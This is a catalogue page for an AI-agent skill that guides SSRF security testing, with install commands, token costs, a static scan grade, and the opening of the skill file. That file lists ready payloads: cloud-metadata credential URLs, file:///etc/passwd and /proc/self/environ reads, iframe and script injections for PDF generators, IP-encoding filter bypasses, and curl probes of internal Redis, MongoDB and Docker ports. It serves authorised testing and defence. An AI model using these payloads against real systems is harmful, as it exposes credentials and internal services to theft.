A security testing guide for Server-Side Request Forgery (SSRF), an attack that makes a server fetch attacker-chosen URLs or files.

It is for checking URL previews, webhooks, imports, image fetchers, report generators, and other features that fetch remote content.

It helps find ways to reach internal services, cloud metadata, local files, or other resources that are not directly accessible from the internet.

ssrf — Skill for Claude Code and Codex by SecurityTalent/bugskill-ai

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent

npx skills add SecurityTalent/bugskill-ai --skill ssrf

Clone the repo

git clone --depth 1 https://github.com/SecurityTalent/bugskill-ai

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

README.md

[![agentmods](https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/ssrf/github.svg)](https://agentmods.dev/skills/securitytalent/bugskill-ai/ssrf)

Your own site

<a href="https://agentmods.dev/skills/securitytalent/bugskill-ai/ssrf"><img src="https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/ssrf/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

Your own site · 80×15

<a href="https://agentmods.dev/skills/securitytalent/bugskill-ai/ssrf"><img src="https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/ssrf.svg" alt="Reviewed on agentmods" width="80" height="20"></a>

Per session 119 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.

When invoked 1,981 The whole file, excluding the scripts and references it only reads on demand.

Security scan C 2 findings. A grade says what 26 rules found in the file — not that it is safe.

Origin original No closer match found in the catalogue.

Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

Model	Per session	Once invoked
Fable 5.1	$0.00119	$0.01981
Opus 5.5	$0.00048	$0.00792
Sonnet 5.5	$0.00024	$0.00396
Haiku 4.5	$0.00012	$0.00198

Measured 20d ago against content hash d758b4a42736, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade C, and why

ssrf scanned grade C with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 20d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Cloud metadata endpointhighServer-side request forgery

One request to 169.254.169.254 can return temporary IAM credentials.

Server-Side Request Forgery (SSRF) occurs when user-controlled input is used to construct URLs that the server fetches, enabling access to internal services, cloud metadata endpoints (169.254.169.254), and local files vi

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

Server-Side Request Forgery (SSRF) occurs when user-controlled input is used to construct URLs that the server fetches, enabling access to internal services, cloud metadata endpoints (169.254.169.254), and local files vi

Awesome-Claude-Code-Agent-Skills/02-Web-Application-Security/ssrf/SKILL.md · 132 lines

How it starts

The opening of the file, as written. The whole thing — 132 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Server-Side Request Forgery (SSRF)

What Is Broken and Why

SSRF occurs when an application fetches a remote resource based on user-supplied input without adequate validation. The server makes the request on behalf of the attacker, bypassing network perimeter controls that would block the attacker's direct access. Common targets include internal admin panels (accessible only from localhost), cloud metadata services (AWS/GCP/Azure instance metadata), internal databases and APIs, and arbitrary files on the server filesystem via the file:// scheme.

Key Signals

Parameters named url, uri, path, redirect, link, src, href, fetch, load, resource, page, feed, callback, proxy
Application fetches external content on behalf of the user (URL previews, webhooks, file imports, image fetching)
PDF/report generators that render HTML (often process <img>, <iframe>, <link> tags server-side)
Webhook configurations accepting attacker-controlled URLs
Import features (RSS feeds, remote files, API integrations)
Blind SSRF: no visible response but out-of-band DNS/HTTP callbacks observed

Methodology

Identify all parameters that accept URLs, hostnames, or IP addresses.
Submit your OOB callback URL (Burp Collaborator, interactsh) to detect blind SSRF.
Test for internal service access: http://127.0.0.1/, http://localhost/admin, http://192.168.0.1/
Test cloud metadata: http://169.254.169.254/latest/meta-data/ (AWS), http://metadata.google.internal/
Test file scheme: file:///etc/passwd, file:///etc/hosts, file:///proc/self/environ
For PDF generators: inject <iframe src="http://169.254.169.254/">, <img src="file:///etc/passwd">
Test bypass techniques if initial attempts are filtered.
Enumerate internal network: try common internal ranges and port ranges.
Chain with other vulnerabilities (e.g., SSRF → internal Redis → RCE).

Payloads & Tools

# Direct internal access
TARGET/page?url=http://127.0.0.1/admin
TARGET/page?url=http://localhost:8080/internal
TARGET/page?url=http://192.168.1.1/

# Cloud metadata (AWS)
TARGET/page?url=http://169.254.169.254/latest/meta-data/
TARGET/page?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Cloud metadata (GCP)
TARGET/page?url=http://metadata.google.internal/computeMetadata/v1/
TARGET/page?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

# File scheme
TARGET/page?url=file:///etc/passwd
TARGET/page?url=file:///etc/hosts
TARGET/page?url=file:///proc/self/environ
TARGET/page?url=file:///c:/windows/win.ini

# OOB blind SSRF detection
TARGET/page?url=http://VICTIM.burpcollaborator.net/ssrf-test
TARGET/page?url=http://VICTIM.interactsh.com/

# PDF generator injection (HTML payload in content field)
<iframe src="http://169.254.169.254/latest/meta-data/" width="500" height="500">
<img src="file:///etc/passwd">
<script src="http://169.254.169.254/"></script>

# IP filter bypass — alternate representations of 127.0.0.1
TARGET/page?url=http://2130706433/          # decimal
TARGET/page?url=http://017700000001/        # octal
TARGET/page?url=http://127.1/              # shorthand
TARGET/page?url=http://0x7f000001/         # hex

# URL parser confusion
TARGET/page?url=http://TARGET-DOMAIN@VICTIM-INTERNAL/path
TARGET/page?url=http://VICTIM-INTERNAL#TARGET-DOMAIN

# curl-based manual testing
curl -s "TARGET/fetch?url=http://127.0.0.1:6379/" -v   # Redis
curl -s "TARGET/fetch?url=http://127.0.0.1:27017/"      # MongoDB
curl -s "TARGET/fetch?url=http://127.0.0.1:2375/info"   # Docker daemon

Read the full file on GitHub · 132 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

20d ago First seen · 132 lines · 119 tokens per session scan C d758b4a42736

Subscribe to this mod's changes

ssrf is a skill published in the GitHub repository SecurityTalent/bugskill-ai (13 stars, last pushed 21d ago), licensed MIT. It adds 119 tokens to every session and 1,981 once invoked, about $0.0005 per session on Opus 5.5. A static security scan graded it C with 2 findings (cloud metadata endpoint, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-27.

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